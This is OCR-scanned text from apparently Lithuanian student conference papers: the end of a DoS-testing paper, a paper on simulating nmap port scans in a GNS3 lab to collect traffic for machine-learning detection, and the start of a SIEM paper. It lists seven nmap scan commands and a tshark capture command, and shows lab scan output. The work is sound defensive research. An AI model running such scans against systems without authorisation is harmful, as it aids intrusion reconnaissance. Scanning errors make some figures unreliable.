ataka pavyko, ta galima spresti i§
srauto kurj generavo puolamasis
Serveris.

2. TCP ACK Taip Taip Pagal WireShark duomeny srautg
ataka pavyko, ta galima spresti i$
srauto kurj generavo puolamasis
serveris.

3. TCP SYN Taip Taip Pagal WireShark duomeny srauta
ataka pavyko, ta galima spresti i$
srauto kurj generavo puolamasis
serveris.

4. TCP RST Taip Taip Pagal WireShark duomeny srauta
ataka pavyko, ta galima spresti i$
srauto kurj generavo puolamasis
serveris.

5. UDP Taip Taip Pagal WireShark duomeny srauta

FLOOD ataka pavyko, ta galima spresti i$
srauto kurj generavo puolamasis
serveris.

ISvados

1. Buvo sukurta simuliacine GNS3 aplinka, kurioje yra 2 virtualios masinos
Kali Linux ir Ubuntu, kurios pasitarnavo tyrimo metu atliekant uzduotis.

2. Isbandytos skirtingos atakos ir iStirtas jy poveikis — atakos metu buvo iSsekinti
atakuojamosios virtualios masinos istekliai, dél to virtuali masina tapo nebepasiekiama.

3. Duomeny stebéjimui buvo pasitelktas Wireshark, o duomeny rinkimui
buvo pasitelktas Tshark, visus reikalingus duomenys atakoms identifikuoti Siuos
duomenis véliau bus galima pritaikyti masininiam mokymuisi.
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Summary

During the research for this article, a simulated GNS3 environment was created using 2 virtual
systems, Kali Linux and Ubuntu, with specific tasks performed during the serviceability study.
Different DoS attacks were tested and their effect on the virtual server was studied. In addition,
Wireshark was used for data monitoring and Tshark for data collection, and all the necessary data
to identify the attacks was collected.
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Aktyvios kibernetinés Zvalgybos simuliavimas GNS3

Ainoras Petraska, Paulius Baltrusaitis
Kauno kolegija

Anotacija. Nusikalstamos veikos, tame tarpe ir aktyvios kibernetinés
zvalgybos kompiuteriy tinklo aplinkoje identifikavimui ir uzkardymui naudojamos
priemonés remiasi duomeny srauto analizés pagrindu. Tam didelés reikSmés turi
masininio mokymosi teikiamos galimybés §j procesg pilnai automatizuoti. Siam tikslui
reikalingi dideli tinkamy duomeny kiekiai, kuriems sugeneruoti reali aplinka
nenaudojama dél saugumo reikalavimy. Tokiu atveju tam galima pasitelkti tam parengta
simuliacing aplinka. Straipsnyje analizuojami jvairlis zinomi aktyvios kibernetinés
zvalgybos biidai, scenarijai ir naudojamos priemonés. Pateikiami Sios veikos pozZymiai,
kuriuos bity galima identifikuoti analizuojant tinklo duomeny srautg. Aprasoma
jvairiems aktyvios zvalgybos scenarijams realizuoti reikalinga tinklo topologija ir
priemonés GNS3 platformoje. Pateikiami jvairiy iSanalizuoty scenarijy simuliavimo
rezultatai, sukaupty duomeny rinkiniy vertinimai ir iSvados.

Raktiniai ZodZiai: aktyvi kibernetiné zvalgyba, nmap, simuliacija, GNS3.

Ivadas
visuomene, verslai ir valstybé. Kibernetiniy nusikaltimy nuolat daugéja nepaisant
pastangy ir investicijy j tradicing kibernetinio saugumo technologijas. Nusikaltéliai
pastoviai tobulina savo jsilauzimo metodus, o tai Siuolaikiniai visuomenei gali sukelti
labai daug blogy padariniy.

Viena i§ efektyviausiy priemoniy kovai prie§ kibernetinius nusikaltimus yra
technologija, pagrista dirbtiniu intelektu (DI) ir masininiu mokymusi (ML). Automatizuotas
identifikavimas ir uzdarymas su masininio mokymosi pagalba yra daug efektyvesnis nei
tradicinés Zmogaus ar IDS/IPS (angl. Intrusion Detection Systems/Intrusion Prevension
Systems) sistemos. Taciau tokias automatizuotas sistemas néra lengva sukurti, kadangi tai
reikalauja labai daug resursy, dideliy duomeny rinkiniy kiekio, kuriuos yra ypa¢ sunku gauti.

Vienas i§ budy spresti §ig problema yra naudoti duomeny generavimo
technologijas, kuriy pagalba galima sukurti tam tikrus scenarijus ir i$ jy gauti reikiamus
duomeny rinkinius. Simuliacija yra itin svarbus zZingsnis kuriant kibernetines aplinkas,
kuriose galima imituoti jvairius kibernetinius nusikaltimus, kad biity galima atlikti
kiberneting Zvalgyba ir gauti autentiS$kus duomenis, kuriuos véliau bus galima panaudoti
masininiam mokymui.

Tyrimo tikslas — istirti simuliacinés ,,GNS3* aplinkos galimybes atliekant
aktyvia kiberneting Zvalgyba ir sugeneruoti pakety srautus Zvalgybos ypatumy analizei
ir masininiam mokymuisi.

Tyrimo objektas — aktyvios kibernetinés zvalgybos simuliacija naudojant GNS3.

Tyrimo uzdaviniai:

1. ISanalizuoti aktyvios kibernetinés Zvalgybos ypatumus.
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2. Parengti ,,GNS3“ simuliacing platformag aktyvios kibernetinés zvalgybos
simuliavimui ir duomeny srauty fiksavimui.
3. Atlikti aktyvios kibernetinés zvalgybos simuliacijas.

Literatuiros analizé

Tyrimui buvo naudojama literatiiros analizé bei ataky simuliacija (Edgar,
Manz, 2017) ,,.GNS3* platformoje.

Aktyvi kibernetiné zZvalgyba — tai procesas, kuriuo biina naudojama daug jvairiy
technologijy ir metody, sickiant aktyviai stebéti ir analizuoti elektroninius tinklus, kad
bty galima aptikti galimus saugumo pazeidimus ar kitas anomalijas.

Tinklo ir mazgy skenavimas — vienas i§ dazniausiai naudojamy aktyvios
zvalgybos biidy (Zhang, Thing, 2021).

TCP Connect Scan — tai vienas i§ paprasciausiy biidy nustatyti ar tam tikras
prievdas yra atviras ar ne. Svarbu stebéti sasajy biisenos laukus, kurie nurodo sasajos
buisena. Pavyzdziui, jei kontrolinis laukas ,,S“ (angl. synchronizing) tai rodo, kad
pradedamas naujas rySys, o jeigu ,,A*“ (angl. acknowledgment) tai rodo, kad jau yra
atsakymas j SIN paketa. Atliekant §j skenavimg, kompiuteris bando uzmegzti TCP rysj
su kiekvienu portu, jei pavyksta tai reiskia, kad prievadas yra atviras.

UDP Scan — UDP skenavimas naudoja UDP (angl. User Datagram Protocol)
paketus norint nustatyti ar prievadas yra atviras. Taip pat svarbu stebéti atsakymo
biisenos laukus, kurie nurodo kaip serveris reaguoja j skenavimo paketus. Pavyzdziui,
jei gaunamas ,,ICMP Host Unreachable® praneSimas, galima suprasti, kad iskyla
problemy su pasiekiamumu, jei gaunamas ,,ICMP Port Unreachable* galima manyti,
kad prievadas yra uzdaras.

SYN Scan — SYN skenavimas yra subtilesnis btidas norint nustatyti ar tam tikras
prievadas yra atviras. Sis skenavimo biidas daZnai yra naudojamas norint nustatyti ar
konkretus TCP prievadas yra atviras. Jis yra daug greitesnis, kadangi bandoma uzmegzti
ry$j tik su vienu prievadu, taip pat §is biidas yra efektyvus, nes nereikia uzmegzti pilno
rysio, o pakanka tik pradinio prisijungimo. Skenavimo metu kompiuteris i§siuncia SYN
(angl. synchronize) paketa j tam tikra prievada ir laukia atsakymo. Jei atsakyma gauna su
SYN / ACK (angl. synchronize / acknowledge) paketu, tai rodo kad prievadas yra atviras.
Jei gaunamas RST (angl. reset) paketas, tai rodo, kad prievadas yra uzdaras.

FIN Scan — $is skenavimo metodas yra pagristas FIN (angl. finish) TCP
paketais. Jis yra siun¢iamas tada, kai klientas nori uzbaigti rysj su serveriu. Sio paketo
pagalba galima iSbandyti ar serveris tinkamai reaguoja i ry$io baigimo uzklausas ir ar
tinkamai veikia ugniasienés taisyklés. Skenuojantis kompiuteris siuncia FIN paketg i
tikslinj prievadg. Jei gaunamas RST paketas, tai reiskia, kad prievadas yra uzdarytas. O
jei negaunamas atsakymas, reiskia, kad prievadas yra atviras.

ACK Scan — ACK skenavimas naudoja TCP ACK (angl. acknowledge) paketus
nustatymui ar prievadas yra atviras. ACK paketai padeda uztikrinti patikimg duomeny
perdavima tarp kliento ir serverio. Gavus ACK patvirtinimg zinoma, kad duomenys
buvo gauti be jokiy problemy. Siuo skenavimo biidu galima patvirtinti, kad serveris
tinkamai reaguoja j patvirtinimus. PanaSiai kaip ir su FIN Paketais, jei gaunasi RST
paketas, tai rodo, kad prievadas yra uzdaras. O jei negaunamas atsakymas, tada uzdaras.
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NULL scan — Null skenavimo metodas yra paremtas tusc¢iu TCP paketu,
kuriame néra jokiy nustatymu, tai leidia tyrinéti kaip serveris reaguoja j tokj paketa. Sj
paketa kai kurios IDS (intruzijy aptikimo sistemos) gali aptikti kaip potencialy
isilauzimg ir neleisti vykdyti $io skenavimo. Jei i$siuntus NULL paketa gaunamas
atsakymas ,,|ICMP Port Unreachable* arba ,,TCP RST* tai reiskia, kad prievadas yra
uzdarytas. O jeigu gaunamas ,,NO response* tai gali rodyti, kad prievadas yra atviras.

XMAS Scan — Sis skenavimo metodas siuncia TCP paketa, kuriame yra
nustatytos visos TCP zymés — FIN, PSH ir URG. Sis biidas daniausiai naudojamas
norint nustatyti ar konkretus TCP prievadas yra atviras, uzdaras ar filtruojamas, tai
vienas i§ biidy iSbandyti saugumo spragas arba tinklo konfigtiracija. Kaip ir NULL
paketas, Sis paketas gali buti aptiktas aptikimo sistemy ir blokuojamas. Jei atgal
gaunamas RST paketas, tai rodo, kad prievadas yra uzdaras, jei negaunama jokiO
atsakymo, tada reiskia, kad prievadas yra atviras.

Aktyviai zvalgybai buvo pasirinkti §ie skenavimai: TCP Connect, UDP Scan,
SYN Scan, FIN Scan, ACK Scan, NULL Scan, XMAS Scan. Kiekvienam skenavimui
buvo suformuojama ,,nmap“ komanda, skenavimo metu bus renkami visi biitini
skenavimo duomenys skenavimo ypatumams identifikuoti. Duomeny rinkimo
programa buvo paleidZiama pries kiekvieng skenavimg ir stabdoma i8 kart po jos (Shah,
Ahmed ir Khan, 2019).

Tinklo skenavimui naudojama topologija susideda i$ tarpusavyje sujungty
vieno pazeidéjo kompiuteriu ,,Kali Linux“ ir dviejy paZeidziamyjy su ,,Ubuntu Linux*
ir ,,MS Windows* sistemy. Topologija buvo simuliuojama pasinaudojant ,,GNS3“.
Virtualais kompiuteriai buvo sukurti pasinaudojus ,,VMware* programa.

Apibendrinant galima teigti, kad kiekvienas skenavimo btidas yra naudingas ir
svarbus savo skirtingomis savybémis. Kiekvienas i§ jy leidzia skirtingais biidais
patikrinti tinklo pazeidziamuma. Jy svarbiausios savybés:

e TCP skenavimas:

o TCP yra patikimas srauto orientuotas protokolas, uztikrinantis, kad
duomenys bty perduoti be klaidy ir pagal tvarka. Skenuojant svarbu atkreipti démes;j |
biisenos laukus.

e UDP Skenavimas:

o UDP yra greitas ir lengvas protokolas, kuris neturi patikimumo uztikrinimo
mechanizmuy, tai reiskia, kad jis yra maziau patikimas, taciau yra greitesnis ir efektyvesnis
tam tikromis salygomis. Skenuojant svarbu atkreipti démesj j biisenos laukus.

e SYN skenavimas:

o Naudoja TCP SIN paketus, dazniausiai naudojamas norint nustatyti ar
konkretus prievadas yra atviras.

e FIN Skenavimas:

o Naudoja FIN paketus, §is paketas dazniausiai siunciamas norint nutraukti
rys$] su serveriu.

e NULL skenavimas:

o Naudoja paketus be jokiy TCP kontroliniy lauky, gali atskleisti prievady
biiseng, taciau gali bti ir aptiktas aptikimo sistemy ir biiti blokuojamas.

¢ XMAS Skenavimas:
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o Naudoja paketus su visais TCP kontroliniais laukais (SYN, FIN, URG).
Gali atskleisti saugumo spragas ir taip pat, kaip ir NULL skenavimas, gali biiti aptiktas
ir blokuojamas aptikimo sistemy.

Simuliacijai buvo panaudotos ,,GNS3“ ir ,,VMware* platformos ir Sie jrankiai
bei OS serveriai: ,,Kali Linux®, ,nmap®, ,Wireshark”, , Tshark®, ,,Ubuntu*, ,MS
Windows *“. Simuliuojamo tinklo topologija pateikta 1 paveiksle.

Skanavimo btdy isbandymui bitina simuliaciné aplinka. Tai galima padaryti
,»GNS3 “ jrankio pagalba. Jsidiegus sukuriama tinklo topologija. Taip pat reikéty jrankiy
kurie leisty susikurti ir virtualias masinas. ,,VirtualBox“ ir ,,V/Mware “ programy pagalba
galima tai lengvai padaryti. Visy Siy jrankiy pagalba galima laisvai atlikti skenavimus,
matyti rezultatus ir viskg nevarzomai stebéti ir analizuot (,, GNS3 “ dokumentacija).

»VMware“ programos pagalba buvo sukurtos trys virtualias masinos — tai
HKali Linux*“, ,Ubuntu* ir ,MS Windows 10*. ,Kali Linux“ buvo naudojami atlikti
skenavimams. | ,Ubuntu® jsirasiau ,,Wireshark® ir ,,Tshark®, iy programy pagalba
sugeneravau ir stebéjau duomeny srauta. ,,MS Windows* operacing sistemg naudojau
kaip serverj, kurj skenavau per ,,Kali Linux®, o i§ ,,Ubuntu® steb&jau visg vykstancia
veiklg (,,VMware* dokumentacija).

Duomeny fiksavimui buvo naudotas ,,Tshark™ jrankis. Buvo renkami S$ie
pakety laukai: atakuotojo IP adresas, atakuojamo IP adresas, laikas, tcp.flags.syn,
tep.flags.ack ir tep.flags.reset filtruoja konkre¢ias TCP esancias véliavéles:

tshark -r bendras.pcapng -T fields -e frame.time -e ip.src -e ip.dst -e
_ws.col.Protocol -e tcp.flags.syn -e tcp.flags.ack -e tcp.flags.reset -E header=y -E
separator=, -E quote=d -E occurrence=f > bendras.csv

Duomenys buvo surasomi j failag CSV formatu.

Duomeny stebéjimui buvo paruosta tinklo sasaja, kurioje buvo vykdomi
skenavimai. Prie jos buvo prijungtas kompiuteris. Buvo patikrinta ar virtuali masina turi
~Wireshark “, ar tinklo adapteriai yra taisyklingai sukonfigiiruoti, ir ar yra prieiga prie
tinklo(,,Wireshark® ir ,,Tshark* dokumentacija).

Stebéjimas:
Topologija:
Coudl Switchl UBUNTU( SNORT)
o E—®

Windows10

e

1 pav. Simuliuojamo tinklo topologija
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Stebéjimui buvo naudojamas ,,Wireshark jrankis. Norint stebéti tinklg reikia
jsijungti ,,Wireshark® ir pasirinkti interneto adapterj. Naudojant ,,Wireshark* galima
pritaikyti tam tikrus filtrus, kad informacija biity lengviau supranta. Komandy pavyzdziai:

ip.addr == <Taikinys>

Sis filtras rodys tik tuos paketus, kurie bus susijusig su nurodytu ip addresu.

tep.flag.<tipas> ==
Sis filtras rodys tik pasirinkta skenavimo metoda, kaip SYN, UDP, NULL ar kitus.

Baigimas:
Baigus skenavima reikia spausti ,,Stop Capturing®, kad biity galima panaudoti
iSsaugotus rezultatus, juos analizuoti.

Simuliacija

Sioje dalyje aprasoma aplinka bei priemonés, kurios padéjo atlikti simuliacija.
Pateikta topologija. Taip pat pateikiami naudoti scenarijai, simuliacijos eiga ir kitos
svarbios informacijos detalés, kad kitiems norint atlikti §i eksperimentg biity paprasta,
pasinaudojus mano aprasu, pateiktu Zemiau.

Pasiruosimas:

Buvo jdiegta ,,Kali Linux“ operacing sistemg, kuri turi svarbius skenavimo
jrankius, tokius kaip: ,,nmap*, ,Wireshark*.

Buvo uztikrinta prieiga prie tinklo ir buvo susijungti skirtingi kompiuteriai, kad
bty galima atlikti testavimus.

Buvo sujungtas tinklas testavimui, sudaryta tinkama topologija, kad biity
pradéti testavimai.

Identifikuoti kompiuterio IPv4 adresa:

ISsiaiskinus kompiuterio IPv4 adresa, buvo galima pradéti naudoti ,,nmap*
tokiu budu issiaiskinama kurie prievadai yra atviri.

Pradedamas prievady skenavimas:

Isijungus ,,Kali Linux‘ operacing sistemg yra atidaromas terminalas. Siekiant
skenuoti prievadus buvo naudojamos komandos:

nmap <taikinys>

Ir po kazkiek laiko i§ ,,nmap“ gauname informacijg apie surastus atvirus prievadus.

Buvo atlikti $ie septyni skenavimai: TCP, UDP, SYN, FIN, ACK, NULL, XMAS.

Naudotos Sios komandos:

Nmap -sT <taikynys>

Nmap -sU <taikynys>

Nmap -sS <taikynys>

Nmap -sF <taikynys>

Nmap -sA <taikynys>

Nmap -sN <taikynys>

Nmap -sX <taikynys>
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Pasinaudojus ,,Kali Linux* virtualia masina buvo jdiegta ,,nmap*. Siekiant
i$siaiskinti kokie prievadai yra atviri simuliuojame tinkle buvo pradétas skenavimus.
Skenuojant iSsiaisSkinta, kad 5557 prievadas yra atviras.

Siuo atveju buvo panaudota ,,nmap -sT <taikinys>* komanda.

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-30 03:06 EDT

—( petraska® kali)-[~]

sT 192.168.2

[sudoi]'m[;assword for petraska:
—(root® kali)-[~]

00.134

Nmap scan report for 192.168.200.134
Host is up (0.00044s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT

5357/tcp open

STATE SERVICE
wsdapi

MAC Address: 00:0C:29:BB:79:0B (VMware)

Nmap done: 1 IP address (1 host up) scanned in 11.24 seconds

—(root®
La

kali)-[~]

2 pav. ,,nmap‘‘ komanda ir rezultatai

Skenavimo aptikimas: skenuojant prievadus tuo paciu metu buvo prijungta j
tinkla ,,Ubuntu* virtuali masina. Per virtualig masing buvo jjungta ,,Wireshark* ir buvo
filtruota informacija, norint matyti veiklg tinkle. Vienu metu atliekant tinklo stebéjima
ir i§ kitos virtualios masinos, ,,Kali Linux* atliekant prievadu skenavima ,,Wireshark*
lange buvo gauta daug rezultaty. Prievadu skenavimas buvo aptiktas.

Rezultaty filtravimui, buvo naudojamas filtras, kurio pagalba buvo rodomi

aktualts rezultatai. Buvo naudojamas filtras: ,,ip.addr==192.168.200.134”

“ens160

Elle Edit View Go Capture Analyze Statistics Telephony wireless Iools Help

DPRRE @< > ¥~ E

QAQE

W ip.addr == 192.168.200.134

No.

Time

98186 2.446278348
78767 2.138683753
78211 2.123674816
71585 1.957096456
64771 1.743686774
64298 1.7308574564
64161 1.727459299
63956 1.721784194
52865 1.412096662
51815 1.404762626
51555 1.397611623

45385 1.

36964 1.016266976
900897 2.446052194

Source
192.168.208.134
192.168.208.134
192.168.208.134
192.168.266.134
192.168.266.134
192.168.268.134
192.168.268.134
192.168.268.134
192.168.268.134
192.168.268.134
192.168.260.134
192.166.200.134
192.168.266.134
146.75,122.172

 Destination
146.75.122.172
146.75.122.172
146.75.122.172
146.75.122.172
146.75.122.172
146.75.122.172
146.75.122.172
146.75.122.172
146.75.122.172
146.75.122.172
146.75.122.172
146.75.122.172
146.75.122.172
192.168,200.134

Protocol Length Info

TcP
TcP
TcP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TcP

66 49858
66 49872
66 49872
60 49872
60 49872
60 49872
60 49872
60 43872
60 43872
60 43872

60 49872 ~ 80 [ACK]

60 43872
854 80

~ 88 [ACK]
~ 88 [ACK]
. 88 [ACK]
. 80 [ACK]
. 80 [ACK]
. 80 [ACK]
. 80 [ACK]
. 80 [ACK]
. 80 [ACK]
- 80 [ACK]
. 80 [ACK]

- 88 [ACK]

- 49850 [PSH,

Seq=1 Ack=15481 Win=6424¢
Seq=1 Ack=863801 Win=6424¢
Seq=1 Ack=58881 Win=6424¢
Seq=1 Ack=46201 Win=6424¢
Seq=1 Ack=42001 Win=6424¢
Seq=1 Ack=39201 Win=6424¢
Seq=1 Ack=36401 Win=6424¢
Seq=1 Ack=33601 Win=6424¢
Seq=1 Ack=30801 Win=6424¢
Seq=1 Ack=23801 Win=6424¢
Seq=1 Ack=19601 Win=6424¢
Seq=1 Ack=7001 Win=64248
Seq=1 Ack=2801 Win=64248

ACK] Seq=14601 Ack=1 Wini__'~

Frame 36972: 1514 bytes on wire (12112 bits), 1514 bytes captured (12112 bits) on interface ens160, id @
Ethernet II, Src: VMware ea:8:01 (80:50:56:€a:80:01), DSt: VMware bb:79:0b (BB:8c:29:bb:79:6h)

Internet Protocol Versien 4, Src: 146.75.122.172, Dst: 192.168.200.134
+ Transmission Control

©8 8c 29 bb 79 Bb BB 58 56 ea BO B1 B8 B8 45 60

©5 dc 5a 3b 00 00 B0 @6 44 ba 92 4b 7a ac c@ a8
©B 86 B0 56 c2 0B 7e 3¢ 16 99 bS cd 2e cc 50 18
fa fo 52 4b 89 86 2d a3 57 4e Be 64 a4 03 94 cd
80 ae 50 ab 25 Bc 41 fd a3 46 50 fb 9c b2 9d 23

) 7 wireshark ns1600MBKNZ.pcapng

Yy PV
z; DKz

P~

P%-A

nd
FP

Packets: 122521 - Displayed: 69 (0.1%) - Dropped: 0 (0.0%)  Profile: Default

E

#

3 pav. ,,Wireshark rezultatai
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Simuliacinio tyrimo rezultatai ir aptarimas

Visus skenavimus pavyko atlikti taip kaip ir planuota. Buvo gauti rezultatai i§
visy bandymy skenuoti, buvo rasti atviri prievadai. ,,nmap“ jrankio pagalba buvo atlikti
skenavimai. Tinklas buvo skenuojamas 7 skirtingais biidais: TCP, UDP, SYN, FIN,
ACK, NULL, XMAS. ,,Wireshark® ir ,,Tshark* jrankiy pagalba buvo stebima veikla
sraute ir iSrenkama naudinga srauto informacija (1 lentelé).

1 lentelé. Skenavimy ir duomeny jvertinimai

Eil - Skenavimo Dupm?n“
" | Skenavimas | . . . surinkimo Pastabos
Nr. igyvendinimas | . . .
igyvendinimas
1 Nmap -sT Taip Taip Rastas atviras 5357 prievadas
2. Nmap -sU Taip Taip Rastas atviras 5357 prievadas
3. Nmap -sS Taip Taip Rastas atviras 5357 prievadas
4. Nmap -sF Taip Taip Rastas atviras 5357 prievadas
5. Nmap -sA Taip Taip Rastas atviras 5357 prievadas
6. Nmap -sN Taip Taip Rastas atviras 5357 prievadas
7. Nmap -sX Taip Taip Rastas atviras 5357 prievadas
ISvados

1. I8analizuota aktyviosios kibernetinés zvalgybos literatira, kuri buvo
pritaikyta kibernetinés Zvalgybos simuliacijai paruosti.

2. Buvo sukurta ,,GNS3“ simuliaciné platforma, kurig naudojau duomeny
srauto generavimui ir analizavimui, fiksavimui.

3. Buvo simuliuojama kibernetiné Zzvalgyba, ja pavyko igyvendinti ir
uzfiksuoti rezultatus, kuriuos ateityje galima pritaikyti masininiam mokymui, bei
kibernetiniy pazeidimy stabdymui.

Literatiros ir kity informacijos Saltiniy sarasas

1. Edgar, T., W. & Manz, D., O. (2017). Research Methods for Cyber Security.
Syngress.

2. 2023-08-07 builtin kibernetinio saugumo apzvalga. [Zitréta 2024-04-26d.]. Prieiga
per interneta:
https://builtin.com/artificial-intelligence/machine-learning-cybersecurity

3. 2023-08 builtin kibernetinio saugumo apzvalga apie tinkle anomalijy aptikima.
[zitréta 2024-04-24d.]. Prieiga per internetg: https://builtin.com/machine-
learning/anomaly-detection-algorithms
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4. 2023-11-03 Crowdstrike kibernetinio saugumo apzvalga apie masininj mokymasi.
[zitréta 2024-04-20d.]. Prieiga per interneta:
https://www.crowdstrike.com/cybersecurity-101/machine-learning-cybersecurity/

5. 2023-10-03 datacamp klasifikavimas prie§ grupavima apie masininj mokymasi.
[zitréta 2024-04-23d.]. Prieiga per interneta:
https://www.datacamp.com/blog/classification-vs-clustering-in-machine-learning

6. 2021-08-06 GeeksforGeeks klasifikavimas prie§ grupavimg apie masininj
mokymasi. [ziliréta 2024-04-21d.]. Prieiga per interneta:
https://www.geeksforgeeks.org/ml-classification-vs-clustering/

7. 2019-03 Mujahid Shah, Sheeraz Ahmed, Hamayun Khan. testavimo aktyviosios
rekognoscinés fazés — Optimizuotas prievady nuskaitymas naudojant Nmap jrankj.
[Zitiréta 2024-04-19]. Prieiga per interneta:
https://www.researchgate.net/publication/332106249 Penetration_Testing_Active
_Reconnaissance_Phase -Optimized_Port_Scanning_With_Nmap_Tool

8. Nmap dokumentacija. Prieiga per interneta: https://nmap.org/docs.html

9. GNS3. (n.d.). Getting Started with GNS3. https://docs.gns3.com/docs/

10. Kali Linux. (n.d.). Kali Docs. https://www.kali.org/docs/

11. Wireshark. (n.d.). Wireshark User’s Guide.
https://www.wireshark.org/docs/wsug_html_chunked/

12. Tshark. (n.d.). tshark(l) Manual Page. https://www.wireshark.org/docs/man-
pages/tshark.html

13.Zhang L, Vrizlynn L.L. Thing. Three Decades of Deception Techniques in Active
Cyber Defense - Retrospect and Outlook. Prieiga per interneta:
https://arxiv.org/pdf/2104.03594

Summary

Active cyber reconnaissance is very important for having a secure network. One way to achieve
that is by testing its own network. This can be done by becoming an ethical hacker and searching
for network vulnerabilities. In this article, an experiment where the vulnerability of a network
was tested is described. Using Nmap scans, open ports were successfully identified and improper
port configurations revealed, highlighting how the network was exposed. Furthermore, it was
found that monitoring network activity from another computer allows observation of scanning
activities, their types, timing, and the IP address of the scanner. To mitigate network threats,
proper configuration is crucial, as even a minor vulnerability like an open port can pose a major
security risk.
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Atvirojo kodo saugumo informacijos

ir jvykiy valdymo sistemos projektas

Gustas Skarbalius, Gintaras Butkus
Kauno kolegija

Anotacija. Straipsnyje nagrinéjamos Siuolaikinés saugumo informacijos ir
ivykiy valdymo sistemos (SIEM). Atliekama mokslinés literatiros analize,
technologiniy galimybiy analizé, atvejy analizé. Pastebima, kad yra daugybé
komerciniy SIEM sistemy, kurios turi gery savybiy. Taciau, tyrimas parodo, kad yra
galimybé, panaudojant atvirojo kodo programas, tokias kaip SecurityOnion, SGUIL,
Oracle VM VirtualBox, sukurti sklandziai veikiancia, nemokama, atviro kodo SIEM.

Raktiniai ZodZiai: informacija, saugumas, jvykiai, SIEM.

Ivadas

Temos aktualumas. Siais laikais, kur informacijos saugumas tampa vis
svarbesnis, atvirojo kodo saugumo informacijos ir jvykiy valdymo sistemos projektas
jgauna didelj aktualuma (Network Security Strategies). Tai atspindi musy poreikj plétoti
skaidrius ir efektyvius budus saugoti duomenis bei valdyti kibernetinés saugos jvykius.
Svarbu paminéti, kad atvirojo kodo sprendimai teikia daugybe privalumy (Open source
software security vulnerability detection based on dynamic behavior features).
Pavyzdziui, jie daznai yra nemokami ir prieinami placiai vartotojams, o dél jy atvirumo
ir daugybés prisidéjusiy prie kiirimo ir tobulinimo programuotojy yra laikomi
patikimesniais. Sios sistemos daznai naudoja kaip pagrinda operacine sistema Linux.
Sia operacing sistemg palaiko didelis gerbéjy birys, todél Linux pagrindu veikiangios
SIEM gali pasialyti stabilesnj veikimg (What Is SIEM? — Security Information and
Event Management).

Problema. Nepaisant didéjan¢io susidoméjimo atvirojo kodo saugumo
sistemomis, daznai kyla problema dél jy pritaikymo ir priezitiros. Nors atvirojo kodo
sprendimai turi daug privalumy, jy idiegimas gali biiti sudétingesnis nei komerciniy
programy, ir palaikymas daznai remiasi bendruomenés pastangomis, o ne oficialiy
kompanijy parama. Taciau, atvirojo kodo saugumo sistemos suteikia naudotojams
didesng kontrolés galimybe ir bei prideda atsakomybe dél sistemos palaikymo ir
susiduria naudojant atvirojo kodo sprendimus saugumo srityje. Taigi, Svarbu
iSnagrinéti, kaip Si sistema gali atitikti skirtingus poreikius ir iSspresti jvairias
problemas, su kuriomis susiduria vartotojai.

Tyrimo objektas. Atvirojo kodo informacijos ir jvykio valdymo sistema,
naudojanti SecurityOnion, Packet Tracer, SGUIL ir Oracle VM VirtualBox.

Tyrimo tikslas. Apzvelgti esamas komercines ir atvirojo kodo SIEM. Palyginti
ju savybes. Pasillyti patikimg, stabilig, lengvai valdoma, lengvai prisitaikancig prie
organizacijos poreikiy ir Siuolaikiniy kibernetinio saugumo i§stkiy SIEM.
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Tyrimo uZdaviniai:

1. ISanalizuoti Siuo metu esamas problemas su atvirojo kodo saugumo
sistemomis;

2. Isigilinti | SecurityOnion, SGUIL, Oracle VM VirtualBox ir kitas
programines jrangas, kurios naudojamos kuriant SIEM;

3. Pasitlyti buda, kaip galima sukurti atvirojo kodo saugumo informacijos ir
ivykiy valdymo sistema;

4. lvertinti Sios SIEM patikimumg ir sauguma.

SIEM analizé

Security Onion ir SGUIL yra jrankiai, skirti padéti organizacijoms jvertinti ir
reaguoti j saugumo jvykius jy tinkle. Sie jrankiai gali bati naudojami kaip dalis bendros
saugumo strategijos, leidziancios organizacijoms efektyviai valdyti saugumo incidentus
(Deploy Your Own Open Source SIEM With Security Onion) (Security onion introduction).

Naudojant Security Onion, yra galimybé rinkti, stebéti ir analizuoti tinklo
srautg, aptikti galimus jsilauzimus, bei atlikti kibernetiniy incidenty tyrimus. SGUIL,
kaip dalis Security Onion, teikia grafinés analizés galimybes, taip pat leidzia saugumo
profesionalams stebéti ir reaguoti j jvykius realiu laiku.

Buvo atlikta paieska siekiant pasizidiréti, ar yra efektyvesniy programy uz
SGUIL, skirty Siam projektui: Graylog, ELK Stack. Buvo pastebéta, kad visos Sios
programos yra atvirojo kodo ir nemokamos. Be $iy SIEM dar yra ir komercinés SIEM:
ESET, Splunk. Jy efektyvumas gali priklausyti nuo konkrec¢iy projekto reikalavimy ir
naudotojy poreikiy.

Komercinés programos dazniausiai teikia oficialy palaikyma, kurj uztikrina
patyre specialistai i§ kompanijos. Tai apima nuolatinj atnaujinimy teikima, technine
pagalba ir greita problemy sprendima. Kita vertus, atvirojo kodo sistemoms palaikymas
daznai remiasi bendruomenés pastangomis arba atskiry vartotojy iniciatyva. Tai gali
reiksti, kad palaikymo paslaugos gali biiti labiau pagrjstos naudotojy bendruomenés
galimybémis ir gera valia, o ne oficialiy kompanijy jsipareigojimais. Taciau, atvirojo
kodo sistemy naudotojai gali turéti didesng laisve prisitaikyti prie savo poreikiy ir gauti
pagalba i§ platesnés bendruomenés, kuri daznai pasizymi dideliu eksperty tinklu ir
kolektyviniu patirties dalinimusi.

Todél, norint jvertinti, kuri programa yra efektyvesné Siam projektui, turéty
buti atlikta iSsamesné analizé, jvertinant kiekvienos programos funkcionaluma,
lankstuma, naudojimo paprastuma, integracijos galimybes su esamomis sistemomis ir
Kitus aspektus.

ESET (1 pav.) sistema yra i§samus ir galingas saugumo jrankis, skirtas
organizacijoms efektyviai valdyti ir uztikrinti savo informacijos technologijy sauguma.
Si sistema suteikia galimybe stebéti, analizuoti ir reaguoti j jvykius bei duomenis,
surinktus i$ skirtingy Saltiniy, jskaitant tinklo srauts, jvykiy Zurnalus ir aplikacijy
zurnalus. Tai leidzia organizacijoms giliau suprasti savo saugumo padétj, greitai
identifikuoti grésmes ir imtis buitiny veiksmy jas neutralizuoti.
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1 pav. ESET sgsaja (https://www.eset.com/int/business/enterprise-protection/)

Viena i§ ESET sistemos pagrindiniy funkcijy yra jos gebéjimas automatizuoti
saugumo jspé&jimus ir pranesimus apie galimas grésmes. Sistema gali atpazinti nejprasta
ar jtarting veikla, generuoti ispéjimus ir praneSimus saugumo specialistams arba net
